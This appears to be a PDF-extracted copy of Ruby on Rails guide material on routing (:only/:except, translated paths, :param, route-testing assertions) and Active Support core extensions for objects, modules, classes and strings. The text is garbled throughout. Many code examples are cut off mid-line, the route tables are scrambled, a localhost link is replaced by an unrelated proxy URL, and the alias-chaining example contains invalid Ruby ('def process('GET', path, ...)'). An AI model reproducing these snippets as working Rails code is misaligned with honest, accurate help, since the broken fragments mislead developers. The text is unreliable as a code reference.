By default, Rails creates routes for the seven default actions (index, show,
new, create, edit, update, and destroy) for every RESTful route in your
application. You can use the :only and :except options to fine-tune this
behavior. The :only option tells Rails to create only the specified routes:
resources :photos, only: [:index, :show]

Now, a GET request to /photos would succeed, but a POST request to

/photos (which would ordinarily be routed to the create action) will fail.
The :except option specifies a route or list of routes that Rails should not
create:
resources :photos, except: :destroy

In this case, Rails will create all of the normal routes except the route for
destroy (a DELETE request to /photos/:id).
If your application has many RESTful routes, using :only and :except to
generate only the routes that you actually need can cut down on memory
use and speed up the routing process.
4.7 Translated Paths
Using scope, we can alter path names generated by resources:
scope(path_names: { new: 'neu', edit: 'bearbeiten' }) do
resources :categories, path: 'kategorien'
end

Rails now creates routes to the CategoriesController.

HTTP Verb
Path
Controller#Action
Named He
GET
/kategorien
categories#index categories_path
GET
/kategorien/neu
categories#new
new_category_
POST
/kategorien
categories#create categories_path
GET
/kategorien/:id
categories#show category_path(:
GET
/kategorien/:id/bearbeiten categories#edit
edit_category_p
PATCH/PUT /kategorien/:id
categories#update category_path(:
DELETE
/kategorien/:id
categories#destroy category_path(:
4.8 Overriding the Singular Form
If you want to define the singular form of a resource, you should add
additional rules to the Inflector:
ActiveSupport::Inflector.inflections do |inflect|
inflect.irregular 'tooth', 'teeth'

end

4.9 Using :as in Nested Resources

The :as option overrides the automatically-generated name for the
resource in nested route helpers. For example:
resources :magazines do
resources :ads, as: 'periodical_ads'
end

This will create routing helpers such as magazine_periodical_ads_url

and edit_magazine_periodical_ad_path.
4.10 Overriding Named Route Parameters
The :param option overrides the default resource identifier :id (name of
the dynamic segment used to generate the routes). You can access that
segment from your controller using params[<:param>].
resources :videos, param: :identifier

videos GET /videos(.:format) videos#index

POST /videos(.:format) videos#creat
new_videos GET /videos/new(.:format) videos#new
edit_videos GET /videos/:identifier/edit(.:format) videos#edit
Video.find_by(identifier: params[:identifier])

You can override ActiveRecord::Base#to_param of a related model to

construct a URL:
class Video < ApplicationRecord

def to_param
identifier
end
end
video = Video.find_by(identifier: "Roman-Holiday")
edit_videos_path(video) # => "/videos/Roman-Holiday"

5 Inspecting and Testing Routes

Rails offers facilities for inspecting and testing your routes.
5.1 Listing Existing Routes
To get a complete list of the available routes in your application, visit
http://localhost:3000/rails/info/routes in your browser while your
server is running in the development environment. You can also execute
the rails routes command in your terminal to produce the same output.
Both methods will list all of your routes, in the same order that they appear
in config/routes.rb. For each route, you'll see:
The route name (if any)
The HTTP verb used (if the route doesn't respond to all verbs)
The URL pattern to match
The routing parameters for the route
For example, here's a small section of the rails routes output for a
RESTful route:
users GET /users(.:format) users#index
POST /users(.:format) users#create
new_user GET /users/new(.:format) users#new
edit_user GET /users/:id/edit(.:format) users#edit

You can search through your routes with the grep option: -g. This outputs
any routes that partially match the URL helper method name, the HTTP
verb, or the URL path.
$ bin/rails routes -g new_comment
$ bin/rails routes -g POST
$ bin/rails routes -g admin

If you only want to see the routes that map to a specific controller, there's
the -c option.
$ bin/rails routes -c users
$ bin/rails routes -c admin/users
$ bin/rails routes -c Comments
$ bin/rails routes -c Articles::CommentsController

You'll find that the output from rails routes is much more readable if
you widen your terminal window until the output lines don't wrap.
5.2 Testing Routes
Routes should be included in your testing strategy (just like the rest of
your application). Rails offers three built-in assertions designed to make
testing routes simpler:
assert_generates
assert_recognizes
assert_routing
5.2.1 The assert_generates Assertion

assert_generates asserts that a particular set of options generate a

particular path and can be used with default routes or custom routes. For
example:

assert_generates '/photos/1', { controller: 'photos', action: 's

assert_generates '/about', controller: 'pages', action: 'about'
5.2.2 The assert_recognizes Assertion

assert_recognizes is the inverse of assert_generates. It asserts that a

given path is recognized and routes it to a particular spot in your

application. For example:

assert_recognizes({ controller: 'photos', action: 'show', id: '1

You can supply a :method argument to specify the HTTP verb:

assert_recognizes({ controller: 'photos', action: 'create' }, {

5.2.3 The assert_routing Assertion

The assert_routing assertion checks the route both ways: it tests that the
path generates the options, and that the options generate the path. Thus, it
combines the functions of assert_generates and assert_recognizes:

assert_routing({ path: 'photos', method: :post }, { controller:

Active Support Core Extensions

Ruby...

1 How to Load Core Extensions

1.1 Stand-Alone Active Support
In order to have a near-zero default footprint, Active Support does not load
anything by default. It is broken in small pieces so that you can load just
what you need, and also has some convenience entry points to load related
extensions in one shot, even everything.
Thus, after a simple require like:
require 'active_support'

objects do not even respond to blank?. Let's see how to load its definition.
1.1.1 Cherry-picking a Definition

The most lightweight way to get blank? is to cherry-pick the file that
defines it.
For every single method defined as a core extension this guide has a note
that says where such a method is defined. In the case of blank? the note
reads:
Defined in active_support/core_ext/object/blank.rb.
That means that you can require it like this:
require 'active_support'
require 'active_support/core_ext/object/blank'

Active Support has been carefully revised so that cherry-picking a file

loads only strictly needed dependencies, if any.

1.1.2 Loading Grouped Core Extensions

The next level is to simply load all extensions to Object. As a rule of

thumb, extensions to SomeClass are available in one shot by loading
active_support/core_ext/some_class.
Thus, to load all extensions to Object (including blank?):
require 'active_support'
require 'active_support/core_ext/object'
1.1.3 Loading All Core Extensions

You may prefer just to load all core extensions, there is a file for that:
require 'active_support'
require 'active_support/core_ext'
1.1.4 Loading All Active Support

And finally, if you want to have all Active Support available just issue:
require 'active_support/all'

That does not even put the entire Active Support in memory upfront
indeed, some stuff is configured via autoload, so it is only loaded if used.
1.2 Active Support Within a Ruby on Rails Application
A Ruby on Rails application loads all Active Support unless
config.active_support.bare is true. In that case, the application will
only load what the framework itself cherry-picks for its own needs, and
can still cherry-pick itself at any granularity level, as explained in the
previous section.

2 Extensions to All Objects

2.1 blank? and present?
The following values are considered to be blank in a Rails application:
nil and false,

strings composed only of whitespace (see note below),

empty arrays and hashes, and
any other object that responds to empty? and is empty.
The predicate for strings uses the Unicode-aware character class
[:space:], so for example U+2029 (paragraph separator) is considered to
be whitespace.
Note that numbers are not mentioned. In particular, 0 and 0.0 are not
blank.
For example, this method from
ActionController::HttpAuthentication::Token::ControllerMethods
uses blank? for checking whether a token is present:
def authenticate(controller, &login_procedure)
token, options = token_and_options(controller.request)
unless token.blank?
login_procedure.call(token, options)
end
end

The method present? is equivalent to !blank?. This example is taken

from ActionDispatch::Http::Cache::Response:
def set_conditional_cache_control!
return if self["Cache-Control"].present?
...
end

Defined in active_support/core_ext/object/blank.rb.
2.2 presence
The presence method returns its receiver if present?, and nil otherwise.
It is useful for idioms like this:
host = config[:host].presence || 'localhost'

Defined in active_support/core_ext/object/blank.rb.
2.3 duplicable?
A few fundamental objects in Ruby are singletons. For example, in the
whole life of a program the integer 1 refers always to the same instance:
1.object_id # => 3
Math.cos(0).to_i.object_id # => 3

Hence, there's no way these objects can be duplicated through dup or

clone:
true.dup # => TypeError: can't dup TrueClass

Some numbers which are not singletons are not duplicable either:
0.0.clone # => allocator undefined for Float
(2**1024).clone # => allocator undefined for Bignum

Active Support provides duplicable? to programmatically query an object

about this property:

"foo".duplicable? # => true

"".duplicable? # => true
0.0.duplicable? # => false
false.duplicable? # => false

By definition all objects are duplicable? except nil, false, true,

symbols, numbers, class, module, and method objects.
Any class can disallow duplication by removing dup and clone or raising
exceptions from them. Thus only rescue can tell whether a given arbitrary
object is duplicable. duplicable? depends on the hard-coded list above,
but it is much faster than rescue. Use it only if you know the hard-coded
list is enough in your use case.
Defined in active_support/core_ext/object/duplicable.rb.
2.4 deep_dup
The deep_dup method returns a deep copy of a given object. Normally,
when you dup an object that contains other objects, Ruby does not dup
them, so it creates a shallow copy of the object. If you have an array with a
string, for example, it will look like this:
array = ['string']
duplicate = array.dup
duplicate.push 'another-string'

# the object was duplicated, so the element was added only to th

array # => ['string']
duplicate # => ['string', 'another-string']
duplicate.first.gsub!('string', 'foo')

# first element was not duplicated, it will be changed in both a

array # => ['foo']
duplicate # => ['foo', 'another-string']

As you can see, after duplicating the Array instance, we got another
object, therefore we can modify it and the original object will stay
unchanged. This is not true for array's elements, however. Since dup does
not make deep copy, the string inside the array is still the same object.
If you need a deep copy of an object, you should use deep_dup. Here is an
example:
array = ['string']
duplicate = array.deep_dup
duplicate.first.gsub!('string', 'foo')
array # => ['string']
duplicate # => ['foo']

If the object is not duplicable, deep_dup will just return it:

number = 1
duplicate = number.deep_dup
number.object_id == duplicate.object_id # => true

Defined in active_support/core_ext/object/deep_dup.rb.
2.5 try
When you want to call a method on an object only if it is not nil, the
simplest way to achieve it is with conditional statements, adding
unnecessary clutter. The alternative is to use try. try is like Object#send
except that it returns nil if sent to nil.
Here is an example:
# without try

unless @number.nil?
@number.next
end
# with try
@number.try(:next)

Another example is this code from

ActiveRecord::ConnectionAdapters::AbstractAdapter where @logger
could be nil. You can see that the code uses try and avoids an

unnecessary check.
def log_info(sql, name, ms)
if @logger.try(:debug?)
name = '%s (%.1fms)' % [name || 'SQL', ms]
@logger.debug(format_log_entry(name, sql.squeeze(' ')))
end
end

try can also be called without arguments but a block, which will only be

executed if the object is not nil:

@person.try { |p| "#{p.first_name} #{p.last_name}" }

Note that try will swallow no-method errors, returning nil instead. If you
want to protect against typos, use try! instead:

@number.try(:nest) # => nil

@number.try!(:nest) # NoMethodError: undefined method `nest' for

Defined in active_support/core_ext/object/try.rb.
2.6 class_eval(*args, &block)
You can evaluate code in the context of any object's singleton class using

class_eval:
class Proc
def bind(object)
block, time = self, Time.current
object.class_eval do
method_name = "__bind_#{time.to_i}_#{time.usec}"
define_method(method_name, &block)
method = instance_method(method_name)
remove_method(method_name)
method
end.bind(object)
end
end

Defined in active_support/core_ext/kernel/singleton_class.rb.
2.7 acts_like?(duck)
The method acts_like? provides a way to check whether some class acts
like some other class based on a simple convention: a class that provides
the same interface as String defines
def acts_like_string?
end

which is only a marker, its body or return value are irrelevant. Then, client
code can query for duck-type-safeness this way:
some_klass.acts_like?(:string)

Rails has classes that act like Date or Time and follow this contract.
Defined in active_support/core_ext/object/acts_like.rb.

2.8 to_param
All objects in Rails respond to the method to_param, which is meant to
return something that represents them as values in a query string, or as
URL fragments.
By default to_param just calls to_s:
7.to_param # => "7"

The return value of to_param should not be escaped:

"Tom & Jerry".to_param # => "Tom & Jerry"

Several classes in Rails overwrite this method.

For example nil, true, and false return themselves. Array#to_param
calls to_param on the elements and joins the result with "/":
[0, true, String].to_param # => "0/true/String"

Notably, the Rails routing system calls to_param on models to get a value
for the :id placeholder. ActiveRecord::Base#to_param returns the id of
a model, but you can redefine that method in your models. For example,
given
class User
def to_param
"#{id}-#{name.parameterize}"
end
end

we get:

user_path(@user) # => "/users/357-john-smith"

Controllers need to be aware of any redefinition of to_param because

when a request like that comes in "357-john-smith" is the value of
params[:id].
Defined in active_support/core_ext/object/to_param.rb.
2.9 to_query
Except for hashes, given an unescaped key this method constructs the part
of a query string that would map such key to what to_param returns. For
example, given
class User
def to_param
"#{id}-#{name.parameterize}"
end
end

we get:
current_user.to_query('user') # => "user=357-john-smith"

This method escapes whatever is needed, both for the key and the value:
account.to_query('company[name]')
# => "company%5Bname%5D=Johnson+%26+Johnson"

so its output is ready to be used in a query string.

Arrays return the result of applying to_query to each element with
_key_[] as key, and join the result with "&":

[3.4, -45.6].to_query('sample')
# => "sample%5B%5D=3.4&sample%5B%5D=-45.6"

Hashes also respond to to_query but with a different signature. If no

argument is passed a call generates a sorted series of key/value
assignments calling to_query(key) on its values. Then it joins the result
with "&":
{c: 3, b: 2, a: 1}.to_query # => "a=1&b=2&c=3"

The method Hash#to_query accepts an optional namespace for the keys:

{id: 89, name: "John Smith"}.to_query('user')
# => "user%5Bid%5D=89&user%5Bname%5D=John+Smith"

Defined in active_support/core_ext/object/to_query.rb.
2.10 with_options
The method with_options provides a way to factor out common options
in a series of method calls.
Given a default options hash, with_options yields a proxy object to a
block. Within the block, methods called on the proxy are forwarded to the
receiver with their options merged. For example, you get rid of the
duplication in:
class Account < ApplicationRecord
has_many :customers, dependent: :destroy
has_many :products, dependent: :destroy
has_many :invoices, dependent: :destroy
has_many :expenses, dependent: :destroy
end

this way:
class Account < ApplicationRecord
with_options dependent: :destroy do |assoc|
assoc.has_many :customers
assoc.has_many :products
assoc.has_many :invoices
assoc.has_many :expenses
end
end

That idiom may convey grouping to the reader as well. For example, say
you want to send a newsletter whose language depends on the user.
Somewhere in the mailer you could group locale-dependent bits like this:

I18n.with_options locale: user.locale, scope: "newsletter" do |i

subject i18n.t :subject
body i18n.t :body, user_name: user.name
end

Since with_options forwards calls to its receiver they can be nested. Each
nesting level will merge inherited defaults in addition to their own.
Defined in active_support/core_ext/object/with_options.rb.
2.11 JSON support
Active Support provides a better implementation of to_json than the json
gem ordinarily provides for Ruby objects. This is because some classes,
like Hash, OrderedHash and Process::Status need special handling in
order to provide a proper JSON representation.
Defined in active_support/core_ext/object/json.rb.
2.12 Instance Variables

Active Support provides several methods to ease access to instance

variables.
2.12.1 instance_values

The method instance_values returns a hash that maps instance variable

names without "@" to their corresponding values. Keys are strings:
class C
def initialize(x, y)
@x, @y = x, y
end
end
C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}

Defined in active_support/core_ext/object/instance_variables.rb.
2.12.2 instance_variable_names

The method instance_variable_names returns an array. Each name

includes the "@" sign.
class C
def initialize(x, y)
@x, @y = x, y
end
end
C.new(0, 1).instance_variable_names # => ["@x", "@y"]

Defined in active_support/core_ext/object/instance_variables.rb.
2.13 Silencing Warnings and Exceptions
The methods silence_warnings and enable_warnings change the value

of $VERBOSE accordingly for the duration of their block, and reset it

afterwards:

silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logg

Silencing exceptions is also possible with suppress. This method receives

an arbitrary number of exception classes. If an exception is raised during
the execution of the block and is kind_of? any of the arguments, suppress
captures it and returns silently. Otherwise the exception is not captured:
# If the user is locked, the increment is lost, no big deal.
suppress(ActiveRecord::StaleObjectError) do
current_user.increment! :visits
end

Defined in active_support/core_ext/kernel/reporting.rb.
2.14 in?
The predicate in? tests if an object is included in another object. An
ArgumentError exception will be raised if the argument passed does not
respond to include?.
Examples of in?:
1.in?([1,2]) # => true
"lo".in?("hello") # => true
25.in?(30..50) # => false
1.in?(1) # => ArgumentError

Defined in active_support/core_ext/object/inclusion.rb.

3 Extensions to Module
3.1 alias_method_chain
This method is deprecated in favour of using Module#prepend.
Using plain Ruby you can wrap methods with other methods, that's called
alias chaining.
For example, let's say you'd like params to be strings in functional tests, as
they are in real requests, but still want the convenience of assigning
integers and other kind of values. To accomplish that you could wrap
ActionDispatch::IntegrationTest#process this way in
test/test_helper.rb:
ActionDispatch::IntegrationTest.class_eval do
# save a reference to the original process method
alias_method :original_process, :process

# now redefine process and delegate to original_process

def process('GET', path, params: nil, headers: nil, env: nil,
params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
original_process('GET', path, params: params)
end
end

That's the method get, post, etc., delegate the work to.
That technique has a risk, it could be the case that :original_process
was taken. To try to avoid collisions people choose some label that
characterizes what the chaining is about:

ActionDispatch::IntegrationTest.class_eval do
def process_with_stringified_params(...)
params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
process_without_stringified_params(method, path, params: par

end
alias_method :process_without_stringified_params, :process
alias_method :process, :process_with_stringified_params
end

The method alias_method_chain provides a shortcut for that pattern:

Defined in active_support/core_ext/module/aliasing.rb.
3.2 Attributes
3.2.1 alias_attribute

Model attributes have a reader, a writer, and a predicate. You can alias a
model attribute having the corresponding three methods defined for you in
one shot. As in other aliasing methods, the new name is the first argument,
and the old name is the second (one mnemonic is that they go in the same
order as if you did an assignment):
class User < ApplicationRecord
# You can refer to the email column as "login".
# This can be meaningful for authentication code.
alias_attribute :login, :email
end

Defined in active_support/core_ext/module/aliasing.rb.
3.2.2 Internal Attributes

When you are defining an attribute in a class that is meant to be

subclassed, name collisions are a risk. That's remarkably important for
libraries.
Active Support defines the macros attr_internal_reader,
attr_internal_writer, and attr_internal_accessor. They behave like
their Ruby built-in attr_* counterparts, except they name the underlying
instance variable in a way that makes collisions less likely.
The macro attr_internal is a synonym for attr_internal_accessor:
# library
class ThirdPartyLibrary::Crawler
attr_internal :log_level
end
# client code
class MyCrawler < ThirdPartyLibrary::Crawler
attr_accessor :log_level
end

In the previous example it could be the case that :log_level does not
belong to the public interface of the library and it is only used for
development. The client code, unaware of the potential conflict, subclasses
and defines its own :log_level. Thanks to attr_internal there's no
collision.
By default the internal instance variable is named with a leading
underscore, @_log_level in the example above. That's configurable via
Module.attr_internal_naming_format though, you can pass any
sprintf-like format string with a leading @ and a %s somewhere, which is
where the name will be placed. The default is "@_%s".
Rails uses internal attributes in a few spots, for examples for views:
module ActionView

class Base
attr_internal :captures
attr_internal :request, :layout
attr_internal :controller, :template
end
end

Defined in active_support/core_ext/module/attr_internal.rb.
3.2.3 Module Attributes

The macros mattr_reader, mattr_writer, and mattr_accessor are the

same as the cattr_* macros defined for class. In fact, the cattr_* macros
are just aliases for the mattr_* macros. Check Class Attributes.
For example, the dependencies mechanism uses them:
module ActiveSupport
module Dependencies
mattr_accessor :warnings_on_first_load
mattr_accessor :history
mattr_accessor :loaded
mattr_accessor :mechanism
mattr_accessor :load_paths
mattr_accessor :load_once_paths
mattr_accessor :autoloaded_constants
mattr_accessor :explicitly_unloadable_constants
mattr_accessor :constant_watch_stack
mattr_accessor :constant_watch_stack_mutex
end
end

Defined in
active_support/core_ext/module/attribute_accessors.rb.

3.3 Parents

3.3.1 parent

The parent method on a nested named module returns the module that
contains its corresponding constant:
module X
module Y
module Z
end
end
end
M = X::Y::Z
X::Y::Z.parent # => X::Y
M.parent # => X::Y

If the module is anonymous or belongs to the top-level, parent returns

Object.
Note that in that case parent_name returns nil.
Defined in active_support/core_ext/module/introspection.rb.
3.3.2 parent_name

The parent_name method on a nested named module returns the fullyqualified name of the module that contains its corresponding constant:
module X
module Y
module Z
end
end
end
M = X::Y::Z
X::Y::Z.parent_name # => "X::Y"
M.parent_name # => "X::Y"

For top-level or anonymous modules parent_name returns nil.

Note that in that case parent returns Object.
Defined in active_support/core_ext/module/introspection.rb.
3.3.3 parents

The method parents calls parent on the receiver and upwards until
Object is reached. The chain is returned in an array, from bottom to top:
module X
module Y
module Z
end
end
end
M = X::Y::Z
X::Y::Z.parents # => [X::Y, X, Object]
M.parents # => [X::Y, X, Object]

Defined in active_support/core_ext/module/introspection.rb.
3.3.4 Qualified Constant Names

The standard methods const_defined?, const_get, and const_set accept

bare constant names. Active Support extends this API to be able to pass
relative qualified constant names.
The new methods are qualified_const_defined?,
qualified_const_get, and qualified_const_set. Their arguments are
assumed to be qualified constant names relative to their receiver:
Object.qualified_const_defined?("Math::PI") # => true

Object.qualified_const_get("Math::PI") # => 3.1415926

Object.qualified_const_set("Math::Phi", 1.618034) # => 1.618034

Arguments may be bare constant names:

Math.qualified_const_get("E") # => 2.718281828459045

These methods are analogous to their built-in counterparts. In particular,

qualified_constant_defined? accepts an optional second argument to
be able to say whether you want the predicate to look in the ancestors. This
flag is taken into account for each constant in the expression while walking
down the path.
For example, given
module M
X = 1
end
module N
class C
include M
end
end

qualified_const_defined? behaves this way:

N.qualified_const_defined?("C::X", false) # => false
N.qualified_const_defined?("C::X", true) # => true
N.qualified_const_defined?("C::X") # => true

As the last example implies, the second argument defaults to true, as in

const_defined?.
For coherence with the built-in methods only relative paths are accepted.

Absolute qualified constant names like ::Math::PI raise NameError.

Defined in active_support/core_ext/module/qualified_const.rb.
3.4 Reachable
A named module is reachable if it is stored in its corresponding constant. It
means you can reach the module object via the constant.
That is what ordinarily happens, if a module is called "M", the M constant
exists and holds it:
module M
end
M.reachable? # => true

But since constants and modules are indeed kind of decoupled, module
objects can become unreachable:
module M
end
orphan = Object.send(:remove_const, :M)
# The module object is orphan now but it still has a name.
orphan.name # => "M"

# You cannot reach it via the constant M because it does not eve
orphan.reachable? # => false
# Let's define a module called "M" again.
module M
end
# The constant M exists now again, and it stores a module
# object called "M", but it is a new instance.
orphan.reachable? # => false

Defined in active_support/core_ext/module/reachable.rb.
3.5 Anonymous
A module may or may not have a name:
module M
end
M.name # => "M"
N = Module.new
N.name # => "N"
Module.new.name # => nil

You can check whether a module has a name with the predicate
anonymous?:
module M
end
M.anonymous? # => false
Module.new.anonymous? # => true

Note that being unreachable does not imply being anonymous:

module M
end
m = Object.send(:remove_const, :M)
m.reachable? # => false
m.anonymous? # => false

though an anonymous module is unreachable by definition.

Defined in active_support/core_ext/module/anonymous.rb.
3.6 Method Delegation
The macro delegate offers an easy way to forward methods.
Let's imagine that users in some application have login information in the
User model but name and other data in a separate Profile model:
class User < ApplicationRecord
has_one :profile
end

With that configuration you get a user's name via their profile,
user.profile.name, but it could be handy to still be able to access such
attribute directly:
class User < ApplicationRecord
has_one :profile
def name
profile.name
end
end

That is what delegate does for you:

class User < ApplicationRecord
has_one :profile
delegate :name, to: :profile
end

It is shorter, and the intention more obvious.

The method must be public in the target.

The delegate macro accepts several methods:
delegate :name, :age, :address, :twitter, to: :profile

When interpolated into a string, the :to option should become an

expression that evaluates to the object the method is delegated to.
Typically a string or symbol. Such an expression is evaluated in the
context of the receiver:
# delegates to the Rails constant
delegate :logger, to: :Rails
# delegates to the receiver's class
delegate :table_name, to: :class

If the :prefix option is true this is less generic, see below.

By default, if the delegation raises NoMethodError and the target is nil the
exception is propagated. You can ask that nil is returned instead with the
:allow_nil option:
delegate :name, to: :profile, allow_nil: true

With :allow_nil the call user.name returns nil if the user has no profile.
The option :prefix adds a prefix to the name of the generated method.
This may be handy for example to get a better name:
delegate :street, to: :address, prefix: true

The previous example generates address_street rather than street.

Since in this case the name of the generated method is composed of the
target object and target method names, the :to option must be a method
name.
A custom prefix may also be configured:
delegate :size, to: :attachment, prefix: :avatar

In the previous example the macro generates avatar_size rather than

size.
Defined in active_support/core_ext/module/delegation.rb
3.7 Redefining Methods
There are cases where you need to define a method with define_method,
but don't know whether a method with that name already exists. If it does,
a warning is issued if they are enabled. No big deal, but not clean either.
The method redefine_method prevents such a potential warning,
removing the existing method before if needed.
Defined in active_support/core_ext/module/remove_method.rb

4 Extensions to Class
4.1 Class Attributes
4.1.1 class_attribute

The method class_attribute declares one or more inheritable class

attributes that can be overridden at any level down the hierarchy.
class A
class_attribute :x
end
class B < A; end
class C < B; end
A.x = :a
B.x # => :a
C.x # => :a
B.x = :b
A.x # => :a
C.x # => :b
C.x = :c
A.x # => :a
B.x # => :b

For example ActionMailer::Base defines:

class_attribute :default_params
self.default_params = {
mime_version: "1.0",
charset: "UTF-8",
content_type: "text/plain",
parts_order: [ "text/plain", "text/enriched", "text/html" ]
}.freeze

They can also be accessed and overridden at the instance level.

A.x = 1
a1 = A.new
a2 = A.new
a2.x = 2
a1.x # => 1, comes from A
a2.x # => 2, overridden in a2

The generation of the writer instance method can be prevented by setting

the option :instance_writer to false.
module ActiveRecord
class Base
class_attribute :table_name_prefix, instance_writer: false
self.table_name_prefix = ""
end
end

A model may find that option useful as a way to prevent mass-assignment

from setting the attribute.
The generation of the reader instance method can be prevented by setting
the option :instance_reader to false.
class A
class_attribute :x, instance_reader: false
end
A.new.x = 1 # NoMethodError

For convenience class_attribute also defines an instance predicate

which is the double negation of what the instance reader returns. In the
examples above it would be called x?.

When :instance_reader is false, the instance predicate returns a

NoMethodError just like the reader method.
If you do not want the instance predicate, pass instance_predicate:
false and it will not be defined.
Defined in active_support/core_ext/class/attribute.rb
4.1.2 cattr_reader, cattr_writer, and cattr_accessor

The macros cattr_reader, cattr_writer, and cattr_accessor are

analogous to their attr_* counterparts but for classes. They initialize a
class variable to nil unless it already exists, and generate the
corresponding class methods to access it:
class MysqlAdapter < AbstractAdapter
# Generates class methods to access @@emulate_booleans.
cattr_accessor :emulate_booleans
self.emulate_booleans = true
end

Instance methods are created as well for convenience, they are just proxies
to the class attribute. So, instances can change the class attribute, but
cannot override it as it happens with class_attribute (see above). For
example given
module ActionView
class Base
cattr_accessor :field_error_proc
@@field_error_proc = Proc.new{ ... }
end
end

we can access field_error_proc in views.

Also, you can pass a block to cattr_* to set up the attribute with a default

value:

class MysqlAdapter < AbstractAdapter

# Generates class methods to access @@emulate_booleans with de
cattr_accessor(:emulate_booleans) { true }
end

The generation of the reader instance method can be prevented by setting

:instance_reader to false and the generation of the writer instance
method can be prevented by setting :instance_writer to false.
Generation of both methods can be prevented by setting
:instance_accessor to false. In all cases, the value must be exactly
false and not any false value.

module A
class B
# No first_name instance reader is generated.
cattr_accessor :first_name, instance_reader: false
# No last_name= instance writer is generated.
cattr_accessor :last_name, instance_writer: false
# No surname instance reader or surname= writer is generated
cattr_accessor :surname, instance_accessor: false
end
end

A model may find it useful to set :instance_accessor to false as a way

to prevent mass-assignment from setting the attribute.
Defined in
active_support/core_ext/module/attribute_accessors.rb.

4.2 Subclasses & Descendants

4.2.1 subclasses

The subclasses method returns the subclasses of the receiver:

class C; end
C.subclasses # => []
class B < C; end
C.subclasses # => [B]
class A < B; end
C.subclasses # => [B]
class D < C; end
C.subclasses # => [B, D]

The order in which these classes are returned is unspecified.

Defined in active_support/core_ext/class/subclasses.rb.
4.2.2 descendants

The descendants method returns all classes that are < than its receiver:
class C; end
C.descendants # => []
class B < C; end
C.descendants # => [B]
class A < B; end
C.descendants # => [B, A]
class D < C; end
C.descendants # => [B, A, D]

The order in which these classes are returned is unspecified.

Defined in active_support/core_ext/class/subclasses.rb.

5 Extensions to String
5.1 Output Safety
5.1.1 Motivation

Inserting data into HTML templates needs extra care. For example, you
can't just interpolate @review.title verbatim into an HTML page. For
one thing, if the review title is "Flanagan & Matz rules!" the output won't
be well-formed because an ampersand has to be escaped as "&".
What's more, depending on the application, that may be a big security hole
because users can inject malicious HTML setting a hand-crafted review
title. Check out the section about cross-site scripting in the Security guide
for further information about the risks.
5.1.2 Safe Strings

Active Support has the concept of (html) safe strings. A safe string is one
that is marked as being insertable into HTML as is. It is trusted, no matter
whether it has been escaped or not.
Strings are considered to be unsafe by default:
"".html_safe? # => false

You can obtain a safe string from a given one with the html_safe method:
s = "".html_safe
s.html_safe? # => true

It is important to understand that html_safe performs no escaping

whatsoever, it is just an assertion:
s = "<script>...</script>".html_safe

s.html_safe? # => true

s # => "<script>...</script>"

It is your responsibility to ensure calling html_safe on a particular string

is fine.
If you append onto a safe string, either in-place with concat/<<, or with +,
the result is a safe string. Unsafe arguments are escaped:
"".html_safe + "<" # => "<"

Safe arguments are directly appended:

"".html_safe + "<".html_safe # => "<"

These methods should not be used in ordinary views. Unsafe values are
automatically escaped:
<%= @review.title %> <%# fine, escaped if needed %>

To insert something verbatim use the raw helper rather than calling
html_safe:

<%= raw @cms.current_template %> <%# inserts @cms.current_templa

or, equivalently, use <%==:

<%== @cms.current_template %> <%# inserts @cms.current_template

The raw helper calls html_safe for you:

def raw(stringish)

stringish.to_s.html_safe
end

Defined in active_support/core_ext/string/output_safety.rb.
5.1.3 Transformation

As a rule of thumb, except perhaps for concatenation as explained above,

any method that may change a string gives you an unsafe string. These are
downcase, gsub, strip, chomp, underscore, etc.
In the case of in-place transformations like gsub! the receiver itself
becomes unsafe.
The safety bit is lost always, no matter whether the transformation actually
changed something.
5.1.4 Conversion and Coercion

Calling to_s on a safe string returns a safe string, but coercion with
to_str returns an unsafe string.
5.1.5 Copying

Calling dup or clone on safe strings yields safe strings.

5.2 remove
The method remove will remove all occurrences of the pattern:
"Hello World".remove(/Hello /) # => "World"

There's also the destructive version String#remove!.

Defined in active_support/core_ext/string/filters.rb.
5.3 squish
The method squish strips leading and trailing whitespace, and substitutes
runs of whitespace with a single space each:
" \n foo\n\r \t bar \n".squish # => "foo bar"

There's also the destructive version String#squish!.

Note that it handles both ASCII and Unicode whitespace.
Defined in active_support/core_ext/string/filters.rb.
5.4 truncate
The method truncate returns a copy of its receiver truncated after a given
length:
"Oh dear! Oh dear! I shall be late!".truncate(20)
# => "Oh dear! Oh dear!..."

Ellipsis can be customized with the :omission option:

"Oh dear! Oh dear! I shall be late!".truncate(20, omission: '&he

# => "Oh dear! Oh …"

Note in particular that truncation takes into account the length of the
omission string.
Pass a :separator to truncate the string at a natural break:
"Oh dear! Oh dear! I shall be late!".truncate(18)

# => "Oh dear! Oh dea..."

"Oh dear! Oh dear! I shall be late!".truncate(18, separator: ' '
# => "Oh dear! Oh..."

The option :separator can be a regexp:

"Oh dear! Oh dear! I shall be late!".truncate(18, separator: /\s

# => "Oh dear! Oh..."

In above examples "dear" gets cut first, but then :separator prevents it.
Defined in active_support/core_ext/string/filters.rb.
5.5 truncate_words
The method truncate_words returns a copy of its receiver truncated after
a given number of words:
"Oh dear! Oh dear! I shall be late!".truncate_words(4)
# => "Oh dear! Oh dear!..."

Ellipsis can be customized with the :omission option:

"Oh dear! Oh dear! I shall be late!".truncate_words(4, omission:

# => "Oh dear! Oh dear!…"

Pass a :separator to truncate the string at a natural break:

"Oh dear! Oh dear! I shall be late!".truncate_words(3, separator

# => "Oh dear! Oh dear! I shall be late..."

The option :separator can be a regexp:

"Oh dear! Oh dear! I shall be late!".truncate_words(4, separator

# => "Oh dear! Oh dear!..."

Defined in active_support/core_ext/string/filters.rb.
5.6 inquiry
The inquiry method converts a string into a StringInquirer object
making equality checks prettier.
"production".inquiry.production? # => true
"active".inquiry.inactive? # => false

5.7 starts_with? and ends_with?

Active Support defines 3rd person aliases of String#start_with? and
String#end_with?:
"foo".starts_with?("f") # => true
"foo".ends_with?("o") # => true

Defined in active_support/core_ext/string/starts_ends_with.rb.
5.8 strip_heredoc
The method strip_heredoc strips indentation in heredocs.
For example in
if options[:usage]
puts <<-USAGE.strip_heredoc
This command does such and such.
Supported options are:
-h This message

...
USAGE
end

the user would see the usage message aligned against the left margin.
Technically, it looks for the least indented line in the whole string, and
removes that amount of leading whitespace.
Defined in active_support/core_ext/string/strip.rb.
5.9 indent
Indents the lines in the receiver:
<<EOS.indent(2)
def some_method
some_code
end
EOS
# =>
